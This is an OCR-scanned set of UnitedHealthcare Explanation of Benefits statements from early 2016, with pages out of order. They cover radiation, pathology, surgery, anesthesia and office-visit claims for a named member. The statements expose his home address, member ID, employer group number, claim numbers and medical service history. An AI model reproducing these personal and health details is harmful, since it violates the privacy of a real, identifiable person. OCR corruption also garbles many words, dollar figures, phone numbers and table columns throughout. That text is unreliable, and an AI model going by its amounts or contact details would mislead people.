payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. OH -WE. HAVE RECEIVED MORE INFORMATION AND REPROCESSED THIS CLAIM. THIS IS THE AMOUNT THAT WAS ALREADY PAID. D1 -THE DISCOUNT SHOV\iN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHAT YOU NEED TO PAY IFYOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. QG-WE HAVE RECEIVED MORE INFORMATION AND REPROCESSED THIS CLAIM. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address~ UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to STD-EOB Page 4 of'6 Use this EOB statement as a reference or retain as needed S WP-03428-02"017577-M0-16021-60311-AFUS 22SYMS Unit.edHealthcarellf A!Med-~~ United HealthCare Seivices;.. Inc. GREENSBORO SERVICE '-'ENTER January 21, 2016 PO BOX 740809 ATLANTA GA 30374-0802 Phone: 1-800-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: NORTHPOINT RADIATION Claim Number: 515482406702 Patient Account Number: 0000063501-42 Your Itemized Res onsibilit to Provider•• Date(s) of Service 07/30/2015 Type of Service MEDICAL Notes* 01 Amount Billed (-) $220.00 Plan <-> IYoul'Plan ' Discounts Paid; l<=J II I $77.89 $102.11 Dedi..ct1ble (+) $0.00 Copay (+J $40.00 Co,nsurance (-r) Non Covered (=) $0.00 $0.00 Amount You Owe .. ' .., SERVICES 07/30/2015 MEDICAL QG $1,613.00 $866.33 $746.67 $0.00 $0.00 $0.00 $0.00 SERVICES 07/30/2015 MEDICAL 01 $310.00 $180.63 $129.37 $0.00 $0.00 $0.00 $0.00 SERVICES 07/30/2015 ADJUSTMENT OH $0.00 -$271.48 $0.00 $0.00 $0.00 $0.00 $0.0 Claim Total: D1 $2,143.00 $1,124.85 $706,67 $0.00 $40.00 $0.00 $0.00 $40.00 **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 3 of 6 Use this EOB sta,tement as a reference or retain as needed S WP-03428'01 '017576,M0,16021-60311-AFUS 22SYMS UnitedHealthcare 11111 u•-~.,,,... United HealthCare Services;.. Inc. GREENSBORO SERVICE 1...,ENTER January 21, 2016 PO BOX 740809 ATLANTA.,_ GA 3037 4-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: NORTHPOINT RADIATION Claim Number: 515482406701 Patient Account Number: 0000063501-42 Your Itemized Responsibilit to Provider** Date(s) of Type of Service Notes* Amount Plan i Your Plari : Amount You Service Billed (-) Discounts (-)1 : . Paid . ; (=) Deductible (+) Copay (+) Coinsurance (+) Non Coverea (=) Owe I··-. ' I 07/27/2015 MEDICAL 01 $220.00 $77.89 $102.11 , • I I I • • t I I SERVICES 07/27/2015 MEDICAL QG $1,613.00 $866.33 $748.67 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 07/28/2015 MEDICAL 01 $220.00 $77.89 $102.11 $0.00 $40,00 $0.00 $0.00 $40.0 SERVICES 07/28/2015 MEDICAL QG $1,613.00 $866.33 $746.67 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 07/29/2015 MEDICAL 01 $220.00 $77.89 $102.11 $0.00 $40.00 $0.00 $0.00 $40.0 SERVICES 07/27/2015 ADJUSTMENT OH $0.00 -$426.33 $0.00 $0.00 $0.00 $0.00 $0.0 Claim Total: 01 $3,886.00 $1,966.33 $1,373.34 $0.00 $120.00 $0.00 $0.00 $120.00 **This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: NORTHPOINT RADIATION Claim Number: 515482406701 Patient Account Number: 0000063501-42 Your Itemized Res onsibilit to Provider*• Date(s) of Type of Service Notes• Amount Plan i Your P,lal Amount You Service Billed (-) Discounts _Paid (=) Deductible (+) Copay (+) Coinst..r.ince (+) l\on <.;overed (=) Owe <->r STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 6 0000008846847 4 t United HealthCare Services,,_ Inc. GREENSBORO SERVICE \.-ENTER PO BOX 740809 ATLANTA, GA 30374-0802 $ WP-03428"01 '017575-M0-16021-60311-AFUS 22SYMS ~; UnitedHealthcare IJ/} A~tedHea!th ~C<>rr,pany Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. 021MEOBSW2002005·01336-0B January 21, 2016 JEFFREY DAMUKAITIS Member/Patient Information 2201 WlLLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summ~ry Detailed claim information is located on the following page(s). STD-EOB Page 1 of 6 Use this EOB statement as a reference or retain as needed 000000884684741 S V1-10302'05'050318-M0-1!I004-80311-AFUS 22SYCP Unit.edHealthcare IJll •-o...~ United HealthCare Services;,. Inc. GREENSBORO SERVICE i...;ENTERPO BOX 740809 January 04, 2016 ATLANTA.,_ GA 30374-0802 Phone: 1-o0~63~8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 Annual (-)Applied to (=)Remaining JEFFREY Amount Date Balance Relationship: EE fN NETWORK Deductible H'i36.fRJ $700.00 Met Out of Pocket $5,000.00 $5,000.00 Met OUT di='NET\f/ORK ' . Deductible $1,400.00 $247.01 $1,152.99 Out of Pocket $7,500.00 $247.01 $7,252.99 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Copay: A fee you pay each time you see a provider, receive a service, or fill a prescription. Out of Pocket This is the amount ~u pay before your plan benefit starts paying 100% for eligible health care services. Please refer to ~ur plan documents for more information. Plan Year: The dates your plan benefit maximums are applicable. Annual (-)Applied to (=)Remaining FAMILY Amount Date Balance IN NE!V"ORK ~. ~~ .:e .. Deductible $1,400.00 $700.00 $700.00 Out of Po~et $10,000.00 $4,967.50 $5,032.50 OUT OF1NETWOR~ ,';!, ·{fr g .. "'' ' JI 1 Deductible $2,800.00 $247.01 $2,552.99 Out of Pocket $15,000.00 $247.01 $14,752.99 Coinsurance: The money you pay for health services after you have satisfied the deductible. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Patient Non Covered The amount of money you pay for services that are not covered under your plan. STD-EOB Use this EOB statement as a reference or retain as needed Page10of10 S V1-10302'05'050317-M0-1000'4·60311-AFUS 22SYCP 0 0 .. United HealthCare Services;. Inc. ;c: January 04, 2016 GREENSBORO SERVICE l,;ENTER PO BOX 7 40809 i ATLANTA.., GA 30374-0802 Have more questions about your claim? ~ Phone: 1-o00-638-8884 Visit www.myuhc.com C, ~ 0 for all your claim and benefit infonnation. .... 6 "'..... E-mail: [email protected] "' .... 6 en If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more infonnation on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The infonnation required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal infonnation is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about --1he unique individual identifier or its use, please contacLyour customer_care profes~ional at th~ number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code infonnation regarding the services referenced in this communication. STD-EOB Page 9 of 10 Use this EOB statement as a reference or retain as needed S V1-10302"04"050316-M0-16004-ti0311-AFUS 22SYCP UnitedHealthcare IID A~°'"4)~ United HealthCare Services,._ Inc. GREENSBORO SERVICE L,ENTER January 04, 2016 PO BOX 740809 ATLANTA,. GA 3037 4-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your daim and benefit information. 02 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK FACILITY OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU O1/1/E MAY INCLUDE \M-IAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEAL TH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER 1/1/EBSITE OR PLAN DOCUMENTS. 08 -PAYMENT FOR THIS SERVICE IS DENIED. A NETWORK PROVIDER MAY NOT BILL YOU UNLESS YOU GAVE \/1/RITTEN PERMISSION BEFORE YOU RECEIVED THE SERVICE. THE SERVICE IS NOT COVERED BECAUSE YOUR PLAN ONLY COVERS PROVEN PROCEDURES. THIS SERVICE IS UNPROVEN FOR THE DIAGNOSIS OR PROCEDURE CODE BILLED. IN ORDER FOR THIS SERVICE TO BE CONSIDERED FOR COVERAGE, YOU OR YOUR PROVIDER MUST SUBMIT SCIENTIFIC EVIDENCE THAT SHOWS THIS SERVICE IS SAFE AND EFFECTIVE FOR YOUR CONDITION. QF -FOR PROCESSING PURPOSES THIS SERVICE LINE HAS BEEN RECODED TO ADJUST/ INCLUDE THE ADDITIONAL ANESTHESIA MINUTES FOR A PHYSICAL STATUS MODIFIER. You have the right to receive, upon request and free of charge, an explanation of the scientific basis and clinical judgment that we relied upon in making the non-coverage decision for your claim. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com STD-EOB Use this EOB statement as a reference or retain as needed Page 8 of 10 000000871696452 S V1-10302'04'050315-M0-16004-00311-AFUS 22SYCP UnitedHealthcare 0 IJA--C.,,.,.,. 0 A United HealthCare Services;.. Inc. GREENSBORO SERVICE ~ENTER PO BOX 740809 ATLANTA.i. GA 3037 4-0802 Phone: 1-o00-638-8884 January 04, 2016 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. ;:: m !0 ! .... Claim Detail for JEFFREY DAMUKAITIS "' .... 6 A Provider: MD PATHOLOGY Claim Number: 576054336901 Patient Account Number: 862000081597 Your Itemized Res onsibilit to Provider.. Date(s) of Type of Service Notes• Amount Plan Your Plan Amount You Service Billed (-) Discounts (-) Paid j(=) Deductible (+) Copay (+) Coinsurance (+) Non Covered (=) Owe - $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 12/09/2015 12/09/2015 12/09/2015 12/09/2015 12/09/2015 Claim Total: SURGERY SURGERY SURGERY SURGERY SURGERY D1 01 D1 D1 01 $255.00 $255.00 $510.00 $95.00 $95.00 $1,210.00 $5.00 $5.00 $10.00 $28.00 $28.00 $76.00 $250.00 $250.00 $500.00 $67.00 $67.00 $1,134.00 ... This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment Claim Detail for JEFFREY DAMUKAITIS Provider: G POWELL Claim Number: 576202191201 Patient Account Number: MK018045 -------~ Your Itemized Res onsibilit to Provider•• Date(s) of Type of Service Notes* Amount Plan Your Plan . An10L1nt You \+) Coins1,rance (+) Non Covered (=) ---Owe ­ Service Billed (-) Discounts (-) 1I _P_~~d -1 f 'l Deductible (+) Copay 12/28/2015 OFFICE VISITS D1 $175.00 $96.08 $78.92 $0.00 $0.00 $0.00 $0.00 Claim Total: $175.00 $96.08 $78.92 $0.00 $0,00 $0.00 $0.00 ••This total does not reflect any payments/ copays you made at the time ofservice. Please wait for a provider bill before making a payment. Notes* D1 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WI-IAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. STD•EOB Page 7 of 10 Use this EOB statement as a reference or retain as needed S V1-10302'03'050314-M0-10004-60311-AFUS 22SYCP UnitedHealthcare IJJA-......0..,..,, United HealthCare Services;. Inc. GREENSBORO SERVICE 1.,ENTER January 04, 2016 PO BOX 740809 ATLANTA,,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: CLINICAL PATHOLOGY Claim Number: 575619924304 Patient Account Number: 4-WP168451-0 Your Itemized Res onsibilit to Provider0 Date(s) of Type of Service Notes• Amount Plan Amount You Service Billed (-) Discounts (-) Deductible (+) COfJay (+) Coinsurance (+) Non Covered (=) Owe 11/30/2015 LABORATORY 08 $88.09 $0.00 .:: ... $0.00 $0.00 0.00 -8 .09 SERVICES 11/30/2015 LABORATORY 08 $49.23 $0.00 $0.00 $0.00 $0.00 $0.00 $49.23 SERVICES 11/30/2015 LABORATORY D1 $113.50 $97.91 $15.59 $0.00 $0.00 $0.00 $0.00 SERVICES Claim Total: $250.82 $97.91 $15.59 $0.00 $0.00 $0.00 $137.32 $137.32 -This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment Claim Detail for JEFFREY DAMUKAITIS Provider: P BIERIG Claim Number: 575695158501 Patient Account Number: 022671 Your Itemized Res onslbili to Provider"" 1 Date(s) of Type of Service Notes• Amount Plan . Y~ r Plaijt ~ Amount You Service Billed (-) Discounts (-)( -. ,Paid i<=> Deductible (+) Copay (+) Coinsurance (+) Non Covered (.aa) Owe 12/09/2015 ANESTHESIA D1 ,QF $2,200.00 $1,365.40 $834,60 Claim Total: $2,200.00 $1,365.40 $834.60 ""This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Use this EOB statement as a reference or retain as needed Page 6 of 10 S V1-103021131l50313-M0-10004-00311-AFUS 22SYCP Unit.edHealthcare aA\ffldHOolh~~ United HealthCare Services;.. Inc. January 04, 2016 GREENSBORO SERVICE vENTER PO BOX 740809 ATLANTA;. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Patient Account Number: 4-WP168451-0 Provider: CLINICAL PATHOLOGY Claim Number: 575619924303 Your Itemized Re nsibilit to Provider"'" Date(s) of Service Type of Service Notes* Amount Billed (-) Plan Discounts I YourPlan (-) ' Paid Deductible (.,.) Copay (+) Coinsurance (+) Non Covered (=) Amount You Owe I 11/30/2015 LABORATORY D1 $115.00 $107.18 SERVICES 11/30/2015 LABORATORY D1 $56.25 $52.90 $3.02 $0.00 $0.00 $0.33 $0.00 $0.3 SERVICES 11/30/2015 LABORATORY D1 $39.75 $36.99 $2.48 $0.00 $0.00 $0.28 $0.00 $0.2 SERVICES 11/30/2015 LABORATORY 08 $76.31 $0.00 $0.00 $0.00 $0.00 $0.00 $76.31 $76.31 SERVICES 11/30/2015 LABORATORY 08 $67.23 $0.00 $0.00 $0.00 $0.00 $0.00 $67.23 $67.2 SERVICES 11/30/2015 LABORATORY 08 $40.64 $0.00 $0.00 $0.00 $0.00 $0.00 $40.64 $40.6 SERVICES Claim Total: $395.18 $197.07 $12.54 $0.00 $0.00 $1.39 $184.18 $185.57 **This total does not reflect any payments I copays you made at the time of service. --Please wait for a provider bill before making a payment~ Page 5 of 10 STD-EOB Use this EOB statement as a reference or retain as needed S V1-10302"02"050312-M0-16004-lll311-AFUS 22SYCP United.Healthcare 9lllA-~~ United HealthCare Services.i..Inc. GREENSBORO SERVICE vENTER January 04, 2016 PO BOX 740809 ATLANTA;. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: CLINICAL PATHOLOGY Claim Number: 575619924302 Patient Account Number: 4-WP168451-0 Your Itemized Responsibilit to Provider'"* Date(s) of Type of Service Notes* Amount Plan Amount You Service Billed (-) Discounts (-) ' Deductible (+) Cop..ty (+) Coinsurance (+) Non Covered (=) Owe ~j I 11/30/2015 LABORATORY D1 $45.30 $41.11 $0.00 $0.00 $0.00 0.00 SERVICES 11/30/2015 LABORATORY D1 $72.70 $67.04 $5.66 $0.00 $0.00 $0.00 $0.00 SERVICES 11/30/2015 LABORATORY D1 $166.75 $154.21 $12.54 $0.00 $0.00 $0.00 $0.00 SERVICES 11/30/2015 LABORATORY D1 $105.64 $91.58 $14.06 $0.00 $0.00 $0.00 $0.00 SERVICES 11/30/2015 LABORATORY D1 $125.36 $108.65 $16.71 $0.00 $0.00 $0.00 $0.00 SERVICES 11/30/2015 LABORATORY D1 $149.50 $143.67 $5.83 $0.00 $0.00 $0.00 $0.00 SERVICES Claim Total: $665.25 $606.26 $58,99 $0.00 $0.00 $0.00 $0.00 -This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 4 of 10 Use this EOB statement as a reference or retain as needed 000000871696452 S V1-10302'02'050311-M0-16004-60311-AFUS 22SYCP g ... United HealthCare Services;.. Inc. ;i:: GREENSBORO SERVICE 1..,ENTER January 04, 2016 !!:l PO BOX 740809 ATLANTA.,,_ GA 30374-0802 Have more questions about your claim? I Phone: 1-o00-638-8884 0 0 N Visit www.myuhc.com C for all your claim and benefit information. C .... 0 "'.... .... "' Claim Detail for JEFFREY DAMUKAITIS 6 "' Provider: K ZIESER Claim Number: 575541654001 Patient Account Number: 001500718609 Your Itemized Res onsibilit to Provider** Date(s) of Type of Service Notes* Amount Plan 1. •Your Pian AmuLnt YoL Service Billed (-) Discounts Deductible (+) Copay (+) Coin:surance (+) Non Covered(=} Owe (-)t~iPa.Id ·;_,~ (=) 12/21/2015 OFFICE VISITS D1 $199.00 $73.91 -$f 25.09 $199.00 $73.91 $125.09 $0,00 Claim Total: **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: CLINICAL PATHOLOGY Claim Number: 575619924301 Patient Account Number: 4-WP168451-0 Your Itemized Res onsibilit to Provider** Date(s) of Type of Service Notes* Amount Plan Your Plan Amuunt You Service Billed --(-) Discounts (-) r ··•-Paid--(=) Ded..ictible (+) Copay (+) Coinsurance (+) Non Covered (=) _Owe~ .. 11/30/2015 LABORATORY D1 $231.50 $213.47 $16.23 SERVICES 11/30/2015 LABORATORY D1 $90.75 $82.08 $7.80 $0.00 $0.00 $0.87 $0.00 $0.8 SERVICES 11/30/2015 LABORATORY D1 $336.50 $317.34 $17.24 $0.00 $0.00 $1.92 $0.00 $1.9 SERVICES 11/30/2015 LABORATORY D1 $60.75 $56.53 $3.80 $0.00 $0.00 $0.42 $0.00 $0.4 SERVICES 11/30/2015 LABORATORY D1 $140.25 $130.50 $8.78 $0.00 $0.00 $0.97 $0.00 $0.9 SERVICES 11/30/2015 LABORATORY D1 $108.75 $99.93 $7.94 $0.00 $0.00 $0.88 $0.00 $0.8 SERVICES Claim Total: $968.50 $899.85 $61.79 $0,00 $0.00 $6.86 $0.00 $6.86 -This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 3 of 10 Use this EOB statement as a reference or retain as needed S V1-10302'01'050310·M0·16004-ID311-AFUS 22SYCP United HealthCare Services.,_Inc. GREENSBORO SERVICE vENTER January 04, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: R HERRSCHER Claim Number: 575178219701 Patient Account Number: 000100048366 Date(s) of Type of Service Notes* Amount Plan IYour Plan-,,-, Amount You Service Billed (-) Discounts (-) 'Paid -](=) Deductible (+) Copay (+) Coinsurance (+) Non Covered (:;) Owe 12/15/2015 OFFICE VISITS Claim Total: 01 $260.00 $260.00 $67.93 $67.93 $191.07 $191.07 $0.00 $0.00 $1.00 $1.00 $0.00 $0.00 $0.00 $0.00 $1 .0 " ••This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: TEXAS HEALTH Claim Number: 575568546201 Patient Account Number: 3202158499 00F85003 Your Itemized Res onsibility to Provider•• Date(s) of Type of Service Notes• Amount Plan Your P¾an - Amou nt Yuu Service Billed (-) Discounts (•) I Pald (=) Dedc1ct1ble (+) Copay (+) Coinsurance (+) Non Covered(:;) Owe 12/09/2015 SURGERY D2 $3,581.17 $1,509.17 $2,072.00 $0.00 $0.00 $0.00 $0.00 12/09/2015 OP MISC. D2 $1,790.58 $754.58 $1 ,036.00 $0.00 $0.00 $0.00 $0.00 SERVICES 12/09/2015 OP MISC. 02 $883.08 $883.08 $0.00 $0.00 $0.00 $0.00 $0.00 SERVICES 12/09/2015 SURGERY 02 $1,739.00 $1,739.00 $0.00 $0.00 $0.00 $0.00 $0.00 12/09/2015 OP MISC. D2 $584.00 $584.00 $0.00 $0.00 $0.00 $0.00 $0.00 SERVICES Claim Total: $8,677.83 $5,469.83 $3,108.00 $0.00 $0.00 $0.00 $0.00 $0.00 ••This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Use this EOB statement as a reference or retain as nee®d Page 2 of 10 000000871686452 United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 S Vl-10302'01 '050309-M0-16004-60311-AFUS 21SYCP UnitedHealthcarf5 CJ AUnilEllHeallhG'~~.,Y Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. January 04, 2016 O04MEOBSV20O2007-03727-01 JEFFREY DAMUKAITIS Member/Patient Jnfonnation 2201 WILLOW CREEK DR Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM TX 75068-4917 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. I Claims Summary Detailed claim information is located ori the following page(s). .., Amount Bili.a . . . ;' I I ,:" I' .,. • • .1 ··-·· -;,:::; $14,901.58 · This is the total amount that your provider billed foli the services that were prov;decl to you. ' 1 ' Plan Discounts· . . $8,950.24 Your plan negoUates.djscounts with prov;ders to s 've you money. This amou,nt may-also indude services th_at you are not responsible· to pay. · · ' . . . ·~· · ,:· ,.•i. l• II' Your Plan,Paid . I ~ . , ·_. ;II· • _., =· :.~• ' $5,620.59 .This is the portion.of the amount bilted that was paid by your plan. · -:/. · ·· ·' . , .. . I I :, :[ -. 1 Total amount you owe the provider(s) --. l-=" _ --"""::= ·-~-..~•-~ ~ , ~;-~-. . .. The porti0:n of th~ Amount, Bi!le~.you.,ow~ the pro'1der(s). "Th~amount.does not rene~ any-=-·-· -... = ' $330.75 payment you may have already made at the lime you.~ived__care. This amount may-inciude:your,_ ;;'=" · declijctibl~, co-pay, _coinsuran~e a11d'Lor n.Q_n coverE¥1.~chame~;:Ihi~-~l"(lOJ,rnt d.9~~,,~! in91~e ,~Y'til•,i· ~ :;-,' ·= __·"°payment~macfe to the subscnbei-. If a payment 1as made d!rectly to th~.su~cnbe.r, Y.filJ!tluE1• :;::·. ,J:.., · ;'Li"· ·. _,, .~ubsc.ribeJls ~~poJ!§_ibl.eJprP,!YingJbe PJ}Ysi~an, taci!ity or other h.ealth ~ re-prof~s~j~)J!sl.k-c -=---=--= , . , • JNhen coordination or b~nefits appjies,Jtils_a_IT\01,mt will include payments m·ade to the subsGi:i_be!:-_ . , -· J' ---•• , T ' .. ". ' . STD-EOB Page 1 of 10 Use this EOB statement as a reference or retain as needed 000000871696452 S WQ-01540'05-007867-M0-16032-60311-AFUS 22SYMS UnitedHealthcare aA-~~ United HealthCare Services;.. Inc. GREENSBORO SERVICE 1.,ENTER February 01, 2016 PO BOX 740809 ATLANTA.., GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 JEFFREY Relationship: EE IN NEiwORK ,!: .. Annual Amount (-)Applied to Date ,,__ ., (=)Remaining Balance .. ;~·1: Deductible $700.00 $360.69 $339.31 Out of Pocket $5,000.00 $1,118.61 $3,881.39 OUT OF NETWORK Deductible $1,400.00 $413.00 $987.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Annual (-)Applied to (=)Remaining FAMILY Amount Date Balance ,IN NEl\'VORK ... ,. Deductible $1 ,400.00 $3&>.69 $1 ,039.31 Out of Pocket $10,000.00 $1,118:6 1 $81881.39 .. -: OUT: OF NETWORK h.-; Deductible $2,800.00 $0.00 $2,800.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year. The dates your plan benefit maximums are applicable. Copay: A fee you pay each time you see a provider, receive a service, or fill a prescription. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB 5 wa-01540•04"007866.MO-16032-60311-AFUS 22SYMS UnitedHealthcare IJJJA~O,.,.,~ United HealthCare Services.,_ Inc. GREENSBORO SERVICE 1.,ENTER February 01, 2016PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more infonnation on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The infonnation required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal infonnation is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UniledHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code infonnation regarding the services referenced in this communication. STD-EOB Use this EOB statement as a reference or retain as needed Page 8 of9 S WO-01540'04'007865-MO-16032.«)311-AFUS 22SYMS UnitedHealthcare ~ A,..,.,,_C...~ United HealthCare Services;. Inc. February 01, 2016 GREENSBORO SERVICE vENTER PO BOX 740809 ATLANTA.a. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infom,ation. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 956636894201 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes* Service Amount Billed (-) Plan ! Discounts (-) 01/29/2016 PRESCRIPTION FB DRUGS Claim Total: $0.00 $0.00 $0.00 $0.00 Notes* FB -THIS CLAIM WAS PROCESSED BY THE PHARMACY DRUG BENEFIT PROGRAM. THIS ONLY SHOWS THE AMOUNT YOU PAID FOR THIS PRESCRIPTION. IT DOES NOT 